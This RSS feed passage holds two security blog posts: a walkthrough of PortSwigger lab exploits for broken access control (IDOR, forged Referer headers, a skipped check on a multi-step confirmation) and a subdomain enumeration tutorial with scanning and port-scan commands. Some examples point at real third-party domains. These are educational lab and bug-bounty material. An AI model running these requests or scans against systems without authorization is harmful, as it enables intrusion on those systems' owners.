src="https://cdn-images-1.medium.com/max/1024/1*sq85HCfxnz-CwquWsUo23w.png" /></figure><h3>Step 2 — Find the ID Parameter</h3><p>I located the familiar pattern:</p><pre>/my-account?id=wiener</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ca06LtmhNcP4WyVWUcmIig.png" /></figure><h3>Step 3 — Swap the ID</h3><p>I changed id=wiener to id=carlos and sent the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y_f73mpt9C1FjjrEAxiDKw.png" /></figure><h3>Step 4 — Read the Full Response</h3><p>The server responded with a <strong>302 redirect</strong> (implying access was denied and the app was bouncing the request away) — but I read the entire response body anyway instead of just noting the status code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i3-XlYt7Z8udL2a2jn64-Q.png" /></figure><h3>Step 5 — Spot the Leak</h3><p>The response body — despite the redirect — still contained carlos’s data, including the key needed to solve the lab.</p><h3>Step 6 — Submit the Solution</h3><p>I copied the leaked key and submitted it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XYZsWdDw7BSdUmwv6br-fg.png" /></figure><p><strong>Lab solved.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HhtrD4LzLvod1L5myYnElg.png" /></figure><h3>Why This Works</h3><p>The developer correctly blocked the request from <em>displaying</em> the unauthorized page (hence the redirect), but the server had already rendered the sensitive data into the response body before issuing that redirect. Blocking the redirect target isn’t the same as never generating the sensitive content in the first place.</p><h3>Real-World Lesson</h3><p>Authorization checks need to happen <em>before</em> any sensitive data is generated or attached to a response — not after, with a redirect tacked on as an afterthought. Always inspect full response bodies during testing, even on 3xx redirects; the interesting part is sometimes right there below the status line.</p><h3>Lab 10 — User ID Controlled by Request Parameter with Password Disclosure</h3><h3>Vulnerability / Concept</h3><p>Another IDOR, but swapping the ID to a privileged account (administrator) not only exposes that account&#39;s profile page — it also exposes the account&#39;s actual password in plaintext on the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OkNInJCgc01CcQwu1fYa-w.png" /></figure><h3>Lab Objective</h3><p>View the administrator’s password via the IDOR and use it to log in and delete carlos.</p><h3>What I Looked For</h3><p>After logging in as a normal user, I looked for the same id parameter pattern seen in earlier labs, and considered what would happen if I pointed it at a privileged account instead of another regular user.</p><h3>Step-by-Step Walkthrough</h3><h3>Step 1 — Log In and Explore</h3><p>I logged in with the given credentials and checked all functions, including the blog and the update-email feature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VoW9jdeX5wkWlmYVM8zBMA.png" /></figure><h3>Step 2 — Note the URL Pattern</h3><p>The account page followed the same structure:</p><pre>https://&lt;lab-id&gt;.web-security-academy.net/my-account?id=wiener</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*opzEewFCuuYvfDGnFXSJfA.png" /></figure><h3>Step 3 — Target the Administrator Account</h3><p>I changed id=wiener to id=administrator and loaded the page directly.</p><h3>Step 4 — Access Granted</h3><p>The administrator’s account page loaded without any additional check.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GBPcVRTbZPgOhGVKQV4G-A.png" /></figure><h3>Step 5 — Locate the Password</h3><p>The password field on the page contained the administrator’s actual password. I confirmed this two ways:</p><ul><li>Inspecting the raw HTTP response in Burp Suite.</li><li>Right-clicking the page in the browser and using “View Page Source.”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bvu7jFU6vuhSfgK3yDAyRA.png" /></figure><h3>Step 6 — Log In as Administrator</h3><p>I logged out, then logged back in using administrator and the disclosed password.</p><h3>Step 7 — Use Admin Access</h3><p>With the admin panel now accessible, I located carlos and deleted the account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2GJGNRbDz4fk8rT36cUBRw.png" /></figure><p><strong>Lab solved.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K1wpYjjUcRbasT85vWPsaQ.png" /></figure><h3>Why This Works</h3><p>This combines two failures: the IDOR itself (no check on whether the requested id matches the session), plus a design flaw where a sensitive credential (the password) is rendered directly onto a profile page instead of being masked or omitted entirely.</p><h3>Real-World Lesson</h3><p>Never render sensitive credentials — passwords, tokens, secrets — onto any page, even a page the “right” user is supposed to see. Combine that with a real authorization check on the underlying id parameter, and this class of bug disappears entirely.</p><h3>Lab 11 — Insecure Direct Object References</h3><h3>Vulnerability / Concept</h3><p>A support chat feature stores conversation transcripts as individual files on the server, and those files are accessible by direct, predictable filename — with no check on who’s allowed to view which transcript.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CghTu0AJtX6FZl5BUst_sQ.png" /></figure><h3>Lab Objective</h3><p>Find another user’s (carlos&#39;s) password by browsing chat transcript files.</p><h3>What I Looked For</h3><p>Once I noticed the chat feature offered a “download transcript” option, I paid attention to what that download request actually looked like — specifically, the filename.</p><h3>Step-by-Step Walkthrough</h3><h3>Step 1 — Log In and Explore</h3><p>I logged in with the given credentials and reviewed the site’s functions — one of which was a live chat feature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NUVGYqghFmxfYffIE3nsvQ.png" /></figure><h3>Step 2 — Use the Chat Feature</h3><p>I opened a chat conversation and sent a few messages, noting that transcripts appeared to be saved server-side.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VOgDmRADvT30qHKSXoIBPQ.png" /></figure><h3>Step 3 — Download the Transcript</h3><p>I used the “view transcript” / download option, which triggered a file download such as 1.txt or 5.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S_SQg0jynMjbTUc2UG7FeA.png" /></figure><h3>Step 4 — Inspect the Request in Burp</h3><p>I captured the download request in Burp Suite and examined the filename parameter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qKuOPFahGM7WsuVMFu4MmA.png" /></figure><h3>Step 5 — Iterate Through Filenames</h3><p>I changed the filename — for example, from 1.txt to 2.txt — and resent the request, checking each response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VKn6hJAO3DpbriER4DDFig.png" /></figure><h3>Step 6 — Find Carlos’s Password</h3><p>By working through the numbered transcript files, I eventually found one belonging to carlos that contained his password in the conversation text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VKn6hJAO3DpbriER4DDFig.png" /></figure><h3>Step 7 — Log In as Carlos</h3><p>I used the disclosed password to log into carlos&#39;s account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MJUjmAC_c19F7A3Vky9Rbw.png" /></figure><p><strong>Lab solved.</strong></p><h3>Why This Works</h3><p>Transcript files are referenced by simple sequential numbers with no ownership check — anyone who can guess or iterate through the numbering scheme can read any user’s transcript, including any sensitive information a user might type into a support chat.</p><h3>Real-World Lesson</h3><p>Any object referenced by a predictable identifier (sequential IDs, simple filenames) needs an ownership check before it’s served — never assume a filename being “just a download link” makes it safe to expose without authorization. Also: users should be warned never to type credentials into support chats.</p><h3>Lab 12 — Multi-Step Process with No Access Control on One Step</h3><h3>Vulnerability / Concept</h3><p>A privileged multi-step action (promoting a user to admin) correctly checks authorization on the <em>first</em> step, but a <em>later</em> step in the same flow — the actual confirmation step — doesn’t repeat that check.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6MxD1tNUCyVQjF8Z5NUTtw.png" /></figure><h3>Lab Objective</h3><p>Trick the multi-step “upgrade user” process into upgrading the normal user account, by exploiting the missing check on the confirmation step.</p><h3>What I Looked For</h3><p>The description made clear that two accounts were provided, and the goal was to become admin using only the lower-privileged account. That meant I needed to understand the <em>entire</em> multi-step flow the admin normally uses to promote someone, not just the first request.</p><h3>Step-by-Step Walkthrough</h3><h3>Step 1 — Log In as Both Users</h3><p>I logged into the normal user account in one browser session, then opened a private/incognito window and logged into the admin account separately.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zzm442e2q7br6HqMlS8asg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0xfgXK6wmcB1wFNR_WJYyQ.png" /></figure><h3>Step 2 — Walk Through the Admin’s Upgrade Flow</h3><p>As the admin, I initiated the process to upgrade carlos to admin, and watched the full flow in Burp&#39;s HTTP history.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rr_51Y_Yt-wzMG0sOqP0hA.png" /></figure><h3>Step 3 — Trigger the Confirmation Step</h3><p>The browser showed a Yes/No confirmation prompt. I clicked <strong>Yes</strong>, which fired off a <em>second</em> request — the real action:</p><pre>POST /admin-roles HTTP/2<br>Host: &lt;lab-id&gt;.web-security-academy.net<br>Cookie: session=...</pre><pre>action=upgrade&amp;confirmed=true&amp;username=carlos</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BU9UaWnvRWRvG0HtE9bZeg.png" /></figure><h3>Step 4 — Send Both Requests to Repeater</h3><p>I sent this confirmation request to Repeater. I also sent the normal user’s own login request to Repeater, so I could copy its session cookie.</p><h3>Step 5 — Swap the Session</h3><p>In the confirmation request (the one that upgrades a user), I replaced the admin’s session cookie with the normal user’s session cookie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-x1nXwxL6axGXh1nUZlrtg.png" /></figure><h3>Step 6 — Change the Target Username</h3><p>I changed username=carlos to username=wiener (the normal user), keeping action=upgrade&amp;confirmed=true.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cR87zJlpYzaw3faSaSO76w.png" /></figure><h3>Step 7 — Send the Request</h3><p>The request succeeded — even using the low-privileged session — because this confirmation step never re-checked whether the session belonged to an admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lNq0F8RLgObYbbVOilzEGg.png" /></figure><p><strong>Lab solved</strong> — wiener was upgraded to admin.</p><h3>Why This Works</h3><p>The developer put the authorization check on the <em>first</em> step of the flow (the initial “upgrade this user” request, which shows the confirmation prompt) but forgot to repeat that same check on the step that actually performs the change. Anyone who can reach that final confirmation request directly — bypassing the earlier UI step — inherits its lack of a check.</p><h3>Real-World Lesson</h3><p>In any multi-step process, authorization must be enforced on <strong>every</strong> step — not just the first one a user normally sees. Attackers don’t have to follow your intended flow in order; they can jump straight to whichever request in the sequence actually performs the sensitive action.</p><h3>Lab 13 — Referer-Based Access Control</h3><h3>Vulnerability / Concept</h3><p>The application decides whether to allow an admin action based on the Referer header — trusting that if a request &quot;came from&quot; the admin panel page, it must be legitimate. The Referer header is fully controlled by the client and easy to forge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4ErjWT25K4MFeHrswWd7yQ.png" /></figure><h3>Lab Objective</h3><p>Promote the normal user account to admin by exploiting the flawed Referer check.</p><h3>What I Looked For</h3><p>With two accounts provided again, I compared what a legitimate admin-panel-driven upgrade request looked like versus a request sent from anywhere else, focusing specifically on header differences.</p><h3>Step-by-Step Walkthrough</h3><h3>Step 1 — Log In as Both Users</h3><p>I logged into the admin account, then opened a private window and logged into the normal (wiener) account separately, sending wiener’s request to Repeater to preserve its session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ljgfbDAk64iaEWcfQR3aeQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lhX1qHwiXY6GaYkIr1FURw.png" /></figure><h3>Step 2 — Perform a Legitimate Upgrade as Admin</h3><p>As the admin, I upgraded carlos to admin through the actual admin panel UI, and captured the resulting request in Burp&#39;s HTTP history.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QtQlh7rilhIP6W8BLySNSw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mOWZ67YHIAnUTnRFIoBDOw.png" /></figure><h3>Step 3 — Send It to Repeater</h3><p>The captured request looked like this:</p><pre>GET /admin-roles?username=carlos&amp;action=upgrade HTTP/2<br>Host: &lt;lab-id&gt;.web-security-academy.net<br>Referer: https://&lt;lab-id&gt;.web-security-academy.net/admin<br>Cookie: session=...</pre><h3>Step 4 — Change the Target Username</h3><p>I changed username=carlos to username=wiener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*upzBW3G158UVri8qgqm6tw.png" /></figure><h3>Step 5 — Swap the Session</h3><p>I replaced the admin’s session cookie with wiener’s session cookie (captured earlier from wiener’s own request in Repeater).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*upzBW3G158UVri8qgqm6tw.png" /></figure><h3>Step 6 — Send the Request</h3><p>Because the request still carried a Referer header pointing to /admin — the header the server was actually trusting — the action succeeded even though the session belonged to a non-admin user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4p3rTvv2YxmF4ndX-pUunQ.png" /></figure><p><strong>Lab solved</strong> — wiener was upgraded to admin.</p><h3>Why This Works</h3><p>Referer is just another client-supplied HTTP header — it&#39;s trivial to set to any value in Repeater. Using it as an authorization signal is functionally the same as having no authorization check at all, since nothing stops a client from sending whatever Referer value it wants.</p><h3>Real-World Lesson</h3><p>Never use client-controlled headers (Referer, Origin, X-Forwarded-*, or similar) as your basis for an authorization decision. The only trustworthy signal is something the server verifies itself — a validated session tied to a role that&#39;s checked server-side, not a header the client can trivially rewrite in a proxy tool.</p><h3>Final Thoughts</h3><p>Going through these 13 labs back-to-back really drives home a pattern: broken access control almost never requires exotic techniques. It requires reading the request carefully, questioning every value the client sends, and checking whether the server actually re-verifies permission on every single action — not just the first step, not just the “normal” HTTP method, not just the path the front-end expects you to take.</p><p>If you’re testing your own applications, a simple habit will catch a surprising number of these issues: for every sensitive action, ask “what happens if a lower-privileged user sends this exact request?” — then actually go test it with a tool like Burp Suite, instead of assuming the UI’s restrictions are the whole story.</p><p>If this walkthrough helped, I’ll be covering more Web Security Academy categories in future write-ups — feel free to follow along.</p><p>👤 About the Author<br> <strong>Nitish Mukhiya</strong> is a security researcher and bug bounty hunter focused on web application security, currently sharpening his skills through PortSwigger’s Web Security Academy.</p><p><strong>Connect:</strong></p><ul><li>🐦 Twitter/X — <a href="https://x.com/NITISHMUKHIYAJ">@NITISHMUKHIYAJ</a></li><li>💼 LinkedIn — <a href="https://www.linkedin.com/in/nitishmukhiya/">linkedin.com/in/nitishmukhiya</a></li><li>💻 GitHub — <a href="https://github.com/nitishmukhiyaji">github.com/nitishmukhiyaji</a></li><li>✍️ Medium — <a href="https://medium.com/@nitishmukhiya">medium.com/@nitishmukhiya</a></li><li>🌐 Portfolio — <a href="https://www.nitishmukhiya.com/">https://www.nitishmukhiya.com/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=60354e4b2667" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/broken-access-control-a-practical-walkthrough-of-13-portswigger-labs-60354e4b2667">Broken Access Control: A Practical Walkthrough of 13 PortSwigger Labs</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Subdomain Enumeration Mastery : Subdomain Enumeration Like Pro]]></title>
            <link>https://systemweakness.com/subdomain-enumeration-mastery-subdomain-enumeration-like-pro-5ab2c934c880?source=rss-174be325ed82------2</link>
            <guid isPermaLink="false">https://medium.com/p/5ab2c934c880</guid>
            <category><![CDATA[subdomains-enumeration]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-hacking]]></category>
            <category><![CDATA[subdomain-hunt]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Nitish Mukhiya]]></dc:creator>
            <pubDate>Mon, 27 Jul 2026 13:11:52 GMT</pubDate>
            <atom:updated>2026-08-29T04:44:41.800Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A practical, step-by-step methodology for bug bounty hunters and security researchers</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5crSNFaPqfwqJP39I19gAA.png" /></figure><h3>Introduction</h3><p>Every successful bug bounty hunt starts long before you find your first vulnerability — it starts with <strong>reconnaissance</strong>. And at the heart of recon lies one critical skill: <strong>subdomain enumeration</strong>.</p><p>Why does this matter so much? Because the larger your attack surface, the higher your chances of finding something interesting. A forgotten staging server, an old API endpoint, or a misconfigured admin panel sitting on some obscure subdomain can often be the difference between a duplicate report and a critical finding.</p><p>In this article, I’ll walk you through my personal subdomain enumeration workflow — from ASN discovery all the way to setting up continuous monitoring for new subdomains. This is the exact process I use, broken down step by step so you can replicate it on your own targets (with proper authorization, of course).</p><blockquote><em>⚠️ </em><strong><em>Disclaimer:</em></strong><em> Everything below should only be performed against targets you own or have explicit permission to test (bug bounty programs, CTFs, authorized pentests). Unauthorized scanning of systems you don’t have permission to test is illegal.</em></blockquote><h3>Table of Contents</h3><ol><li><a href="#1-asn--ip-range-discovery">ASN &amp; IP Range Discovery</a></li><li><a href="#2-passive-subdomain-enumeration">Passive Subdomain Enumeration</a></li><li><a href="#3-active-subdomain-enumeration">Active Subdomain Enumeration</a></li><li><a href="#4-permutation-scanning--the-hidden-gold">Permutation Scanning — The Hidden Gold</a></li><li><a href="#5-resolving--probing-live-hosts">Resolving &amp; Probing Live Hosts</a></li><li><a href="#6-continuous-monitoring-setup">Continuous Monitoring Setup</a></li><li><a href="#7-putting-it-all-together-one-script-to-rule-them-all">Putting It All Together: One Script to Rule Them All</a></li><li><a href="#8-subfinder-cheat-sheet">Subfinder Cheat Sheet</a></li><li><a href="#9-final-thoughts">Final Thoughts</a></li></ol><h3>1. ASN &amp; IP Range Discovery</h3><p>Before hunting for subdomains, it helps to understand the network infrastructure your target owns. This starts with finding their <strong>ASN (Autonomous System Number)</strong>.</p><h3>Step 1.1 — Find the ASN</h3><p>Head over to <a href="https://bgp.he.net/">bgp.he.net</a> and search for your target’s organization name. This will show you the ASN(s) associated with the company.</p><h3>Step 1.2 — Extract IP ranges from that ASN</h3><p>Once you have the ASN, use whois to pull all the IP ranges (CIDR blocks) registered under it:</p><p>bash</p><pre>apt-get install whois<br>whois -h whois.radb.net -- &#39;-i origin AS8983&#39; | grep -Eo &quot;([0-9.]+){4}/[0-9]+&quot; | uniq -u &gt; ip_ranges.txt</pre><h3>Step 1.3 — Convert IP ranges into PTR records</h3><p>Feed those ranges into mapcidr (to expand CIDRs into individual IPs) and pipe into dnsx to grab reverse DNS (PTR) records — this can reveal hostnames tied to those IPs:</p><p>bash</p><pre>cat ip_ranges.txt | mapcidr -silent | dnsx -ptr -resp-only -o ptr_records.txt</pre><p>This step is often skipped by beginners, but it’s a great way to uncover infrastructure that passive sources like crt.sh might miss entirely.</p><h3>2. Passive Subdomain Enumeration</h3><p>Passive enumeration means gathering subdomains <strong>without directly touching the target’s servers</strong> — instead relying on third-party data sources like certificate transparency logs, search engines, and OSINT aggregators. This is the safest and usually the first step of any engagement.</p><h3>Step 2.1 — Subfinder (the workhorse)</h3><p>bash</p><pre>subfinder -d bbc.com -all -v -o subdomain.txt</pre><p>You can also chain it with other tools:</p><p>bash</p><pre>subfinder -d company.com -silent | assetfinder --subs-only bbc.com<br>subfinder -d example.com -recursive -o recursive_subs.txt<br>subfinder -d example.com -silent | httpx -silent | tee live_hosts.txt</pre><h3>Step 2.2 — Sublist3r</h3><p>bash</p><pre>sublist3r -d bbc.com -v -b -o subdomain.txt</pre><h3>Step 2.3 — Assetfinder</h3><p>bash</p><pre>assetfinder -subs-only bbc.com</pre><h3>Step 2.4 — Amass (passive mode)</h3><p>bash</p><pre>amass enum -passive -d bbc.com -o subdomain.txt</pre><h3>Step 2.5 — crt.sh (Certificate Transparency logs)</h3><p>Certificate Transparency logs are a goldmine — every SSL certificate ever issued for a domain gets logged publicly.</p><p>bash</p><pre>curl -s &quot;https://crt.sh/?q=%.bbc.com&amp;output=json&quot; | \<br>jq -r &#39;.[].name_value&#39; | \<br>sed &#39;s/\*\.//g&#39; | \<br>sort -u &gt;&gt; passive_subs.txt</pre><h3>Step 2.6 — Merge and deduplicate</h3><p>bash</p><pre>cat passive_subs.txt amass_passive.txt | sort -u &gt; all_passive.txt</pre><h3>Step 2.7 — Resolve and check what’s alive</h3><p>bash</p><pre>cat live.txt | dnsx -resp -a -cname -o live_subs.txt</pre><h3>Step 2.8 — Hunt for interesting keywords</h3><p>Certain subdomain names are statistically more likely to be juicy targets — dev environments, staging servers, admin panels, and old backups:</p><p>bash</p><pre>cat live.txt | grep -E &quot;dev|staging|test|admin|api|old|backup&quot;</pre><h3>Step 2.9 — Quick vulnerability scan with Nuclei</h3><p>bash</p><pre>echo &quot;https://dataroom.bx.tech&quot; | nuclei -t /home/kali/nuclei-templates/ -severity high,critical,medium,low</pre><h3>Step 2.10 — Technology fingerprinting</h3><p>Understanding what’s running on each live host (CMS, frameworks, servers) helps you prioritize targets and pick relevant attack vectors:</p><p>bash</p><pre>cat live_subdomains.txt | httpx -silent -tech-detect -title -status-code -o tech_results.txt</pre><h3>3. Active Subdomain Enumeration</h3><p>While passive recon relies on external data, <strong>active enumeration</strong> directly probes DNS servers with brute-force wordlists. It’s noisier but often surfaces subdomains that never appear in any public dataset.</p><h3>Step 3.1 — Gobuster DNS brute-force</h3><p>bash</p><pre>gobuster dns --domain bbc.com \<br>  -w ~/wordlist/SecLists/Discovery/DNS/subdomains-top1million-110000.txt \<br>  --resolver 8.8.8.8 --timeout 5s -t 5 -o subdomain.txt</pre><p>You can swap in different wordlists for broader coverage:</p><p>bash</p><pre>gobuster dns --domain bbc.com \<br>  -w ~/wordlist/SecLists/Discovery/DNS/shubs-subdomains.txt \<br>  --resolver 8.8.8.8 --timeout 5s -t 5 -o subdomain.txt</pre><h3>Step 3.2 — FFUF for subdomain fuzzing</h3><p>bash</p><pre>ffuf -w ~/wordlist/SecLists/Discovery/DNS/n0kovo_subdomains.txt \<br>  -v -u https://FUZZ.bbc.com \<br>  -mc 200,300,303,302,403,404 -c -o fuzzsubdomain.txt</pre><h3>Step 3.3 — Puredns bruteforce (fast, resolver-backed)</h3><p>bash</p><pre>puredns bruteforce /home/kali/recon/n0kovo_subdomains_huge.txt anduril.com \<br>  -r /home/kali/recon/resolvers.txt -w brute_sub.txt</pre><h3>Step 3.4 — Double-check with crt.sh again</h3><p>bash</p><pre>curl -s https://crt.sh/\?q\=%25.bbc.com\&amp;output\=json | jq -r &#39;.[].name_value&#39; | sort -u</pre><h3>Step 3.5 — Resolve everything you’ve found</h3><p>bash</p><pre>cat subdomain.txt | dnsx -resp -o resolved.txt</pre><h3>Step 3.6 — Amass active + brute-force mode</h3><p>bash</p><pre>amass enum -active -brute -d bbc.com -o subdomain.txt</pre><h3>4. Permutation Scanning — The Hidden Gold</h3><p>This is where a lot of hunters strike gold. Permutation scanning takes <strong>known</strong> subdomains and generates intelligent variations (e.g., dev-api, api-v2, staging2) that a standard wordlist would never guess.</p><h3>Step 4.1 — Altdns</h3><p>bash</p><pre>altdns -i live_subs.txt \<br>  -w ~/wordlist/SecLists/Discovery/DNS/words.txt \<br>  -o permutations_output.txt \<br>  -r -s permuted_resolved.txt</pre><h3>Step 4.2 — Gotator (more advanced permutation engine)</h3><p>bash</p><pre>gotator -sub live_subs.txt \<br>  -perm ~/wordlist/SecLists/Discovery/DNS/raw \<br>  -depth 2 -numbers 3 -md | dnsx -silent -o permuted_live.txt</pre><p>The idea here: if you already found api.bbc.com and dev.bbc.com, permutation tools will try combinations like api-dev.bbc.com, dev-api.bbc.com, api2.bbc.com, and so on — surfacing hosts that manual brute-forcing would miss.</p><h3>5. Resolving &amp; Probing Live Hosts</h3><p>Once you have a large pool of subdomains, the next step is figuring out which ones are actually alive, and what’s running on them.</p><p>bash</p><pre>cat subfindersubs.txt | puredns resolve | tee subfinder_resolver.txt<br>cat subfinder_resolver.txt | httpx -title -status-code -ip -location | tee subfinder_resolve_metadata.txt<br>cat subdomain.txt | naabu -p 1-65535 | httpx -status-code -location -ip -title | tee full_httpmetadata.txt</pre><p>Here’s what’s happening in each command:</p><ul><li><strong>puredns resolve</strong> — validates which subdomains actually have DNS records</li><li><strong>httpx</strong> — checks HTTP status, page title, IP, and geolocation for each live host</li><li><strong>naabu</strong> — performs full port scanning (1–65535) before handing results to httpx for web probing</li></ul><h3>6. Continuous Monitoring Setup</h3><p>Subdomains change constantly — new ones get spun up, old ones get decommissioned. Manually re-running recon every day isn’t scalable, so automating detection of <strong>new</strong> subdomains is a huge advantage.</p><p>Here’s a simple bash script that compares today’s subdomain list against yesterday’s, and automatically scans anything new:</p><p>bash</p><pre>#!/bin/bash<br># monitor_new_subdomains.sh<br># Runs daily via cron — detects new subdomains automatically</pre><pre>TARGET=&quot;example.com&quot;<br>DATE=$(date +%Y%m%d)<br>PREV_DATE=$(date -d &quot;yesterday&quot; +%Y%m%d)</pre><pre># Find today&#39;s subdomains<br>subfinder -d $TARGET -all -silent -o &quot;subs_$DATE.txt&quot;</pre><pre># Compare with yesterday&#39;s list<br>if [ -f &quot;subs_$PREV_DATE.txt&quot; ]; then<br>  NEW_SUBS=$(comm -13 \<br>    &lt;(sort &quot;subs_$PREV_DATE.txt&quot;) \<br>    &lt;(sort &quot;subs_$DATE.txt&quot;))</pre><pre>  if [ ! -z &quot;$NEW_SUBS&quot; ]; then<br>    echo &quot;🚨 NEW SUBDOMAINS FOUND!&quot;<br>    echo &quot;$NEW_SUBS&quot;<br>    # Immediately check if they&#39;re live<br>    echo &quot;$NEW_SUBS&quot; | httpx -silent &gt; &quot;new_live_$DATE.txt&quot;<br>    # Run a vulnerability scan<br>    cat &quot;new_live_$DATE.txt&quot; | \<br>      nuclei -severity medium,high,critical \<br>      -o &quot;new_vulns_$DATE.txt&quot;<br>  fi<br>fi</pre><h3>Step 6.1 — Schedule it with cron</h3><p>bash</p><pre>crontab -e<br># Add this line to run daily at 9 AM:<br>0 9 * * * /path/to/monitor_new_subdomains.sh</pre><p>Now you have a lightweight, self-running recon pipeline that alerts you the moment new attack surface appears — often the fastest way to beat other hunters to a freshly deployed (and potentially misconfigured) subdomain.</p><h3>7. Putting It All Together: One Script to Rule Them All</h3><p>Instead of running each tool manually, here’s a consolidated script that automates the entire passive → permutation pipeline:</p><p>bash</p><pre>#!/bin/bash</pre><pre>DOMAIN=$1<br>OUTPUT_DIR=&quot;recon/$DOMAIN&quot;<br>mkdir -p $OUTPUT_DIR</pre><pre>echo &quot;[*] Starting passive enumeration for $DOMAIN&quot;<br>subfinder -d $DOMAIN -all -recursive -silent -o $OUTPUT_DIR/subfinder.txt<br>amass enum -passive -d $DOMAIN -o $OUTPUT_DIR/amass.txt<br>curl -s &quot;https://crt.sh/?q=%.$DOMAIN&amp;output=json&quot; | \<br>  jq -r &#39;.[].name_value&#39; | sed &#39;s/\*\.//g&#39; | \<br>  sort -u &gt; $OUTPUT_DIR/crtsh.txt</pre><pre>echo &quot;[*] Combining results&quot;<br>cat $OUTPUT_DIR/*.txt | sort -u &gt; $OUTPUT_DIR/all_subs.txt</pre><pre>echo &quot;[*] Resolving live subdomains&quot;<br>cat $OUTPUT_DIR/all_subs.txt | dnsx -resp -silent -o $OUTPUT_DIR/live_subs.txt</pre><pre>echo &quot;[*] Running permutations&quot;<br>altdns -i $OUTPUT_DIR/live_subs.txt \<br>  -w ~/tools/altdns/words.txt \<br>  -o $OUTPUT_DIR/permuted.txt \<br>  -r -s $OUTPUT_DIR/permuted_live.txt</pre><pre>echo &quot;[+] Done. Total live subdomains: $(wc -l &lt; $OUTPUT_DIR/live_subs.txt)&quot;</pre><h3>How to run it:</h3><p>bash</p><pre>nano recon.sh<br># paste the script above, save and exit</pre><pre>chmod +x recon.sh<br>./recon.sh bbc.com</pre><p>And just like that — 💥 <strong>boom</strong>, a fully organized recon directory with passive results, live subdomains, and permutation scans, all in one run.</p><h3>8. Subfinder Cheat Sheet</h3><p>Since Subfinder is the backbone of most passive recon workflows, here’s a quick reference for the flags you’ll use most often:</p><p><strong>Basic usage</strong></p><p>bash</p><pre>subfinder -d example.com                    # Basic scan<br>subfinder -d example.com -silent            # Clean output<br>subfinder -d example.com -o out.txt         # Save to file<br>subfinder -dL domains.txt                   # Multiple domains</pre><p><strong>Advanced usage</strong></p><p>bash</p><pre>subfinder -d example.com -all              # Use all sources<br>subfinder -d example.com -recursive        # Recursive enumeration<br>subfinder -d example.com -active -oI       # Resolve with IPs<br>subfinder -d example.com -oJ               # JSON output<br>subfinder -d example.com -rl 5             # Rate limit requests</pre><p><strong>Managing sources</strong></p><p>bash</p><pre>subfinder -ls                              # List all sources<br>subfinder -d example.com -s github,certsh  # Use specific sources<br>subfinder -d example.com -es alienvault    # Exclude a source</pre><p><strong>Pipeline combos</strong></p><p>bash</p><pre>subfinder -d example.com -silent | httpx -silent<br>subfinder -d example.com -silent | httpx | nuclei -t templates/<br>subfinder -d example.com -silent | dnsx -silent</pre><h3>9. Final Thoughts</h3><p>Subdomain enumeration isn’t a one-and-done task — it’s a layered process. Passive recon gets you quick, low-noise wins. Active brute-forcing digs deeper. Permutation scanning finds the hidden gems that everyone else misses. And continuous monitoring keeps you ahead of the curve as infrastructure changes.</p><p>The real skill isn’t memorizing tool flags — it’s understanding <strong>why</strong> each layer matters and stacking them together into a repeatable pipeline. Automate the boring parts, and spend your actual brainpower on manually investigating whatever interesting subdomains pop out the other end.</p><p>Happy hunting, and stay ethical out there. 🎯</p><h3>👤 About the Author</h3><p><strong>Nitish Mukhiya</strong> is a security researcher and bug bounty hunter focused on web application security, currently sharpening his skills through PortSwigger’s Web Security 